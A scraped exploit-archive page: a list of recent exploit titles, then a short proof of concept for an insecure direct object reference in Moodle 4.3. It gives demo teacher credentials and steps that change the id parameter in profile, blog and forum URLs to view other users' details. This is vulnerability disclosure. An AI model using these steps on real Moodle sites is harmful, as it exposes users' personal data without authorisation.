c1bcfc6347
13 changes to exploits/shellcodes/ghdb TEM Opera Plus FM Family Transmitter 35.45 - Remote Code Execution TEM Opera Plus FM Family Transmitter 35.45 - XSRF Executables Created with perl2exe < V30.10C - Arbitrary Code Execution Atlassian Confluence Data Center and Server - Authentication Bypass (Metasploit) Automatic-Systems SOC FL9600 FastLine - Directory Transversal Automatic-Systems SOC FL9600 FastLine - The device contains hardcoded login and password for super admin dawa-pharma 1.0-2022 - Multiple-SQLi Moodle 4.3 - Insecure Direct Object Reference Moodle 4.3 - Reflected XSS SuperStoreFinder - Multiple Vulnerabilities Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE) Zoo Management System 1.0 - Unauthenticated RCE
29 lines
No EOL
986 B
Text
29 lines
No EOL
986 B
Text
# Exploit Title: Moodle 4.3 'id' Insecure Direct Object Reference (IDOR)
|
|
# Date: 20/10/2023
|
|
# Exploit Author: tmrswrr
|
|
# Vendor Homepage: https://moodle.org/
|
|
# Software Demo: https://school.moodledemo.net/
|
|
# Version: 4.3+
|
|
# Tested on: Linux
|
|
|
|
|
|
Vulnerability Details
|
|
======================
|
|
|
|
Steps :
|
|
|
|
1. Log in to the application with the given credentials > USER: teacher PASS: moodle
|
|
2. In profile.php?id=11, modify the id Parameter to View User details,
|
|
Email address, Country, City/town, City, Timezone
|
|
3. Change the existing "id" value to another number
|
|
|
|
https://school.moodledemo.net/user/profile.php?id=4
|
|
https://school.moodledemo.net/user/profile.php?id=5
|
|
https://school.moodledemo.net/user/profile.php?id=10
|
|
https://school.moodledemo.net/user/profile.php?id=50
|
|
|
|
https://school.moodledemo.net/blog/index.php?userid=3
|
|
https://school.moodledemo.net/blog/index.php?userid=14
|
|
|
|
https://school.moodledemo.net/mod/forum/user.php?id=53
|
|
https://school.moodledemo.net/mod/forum/user.php?id=50 |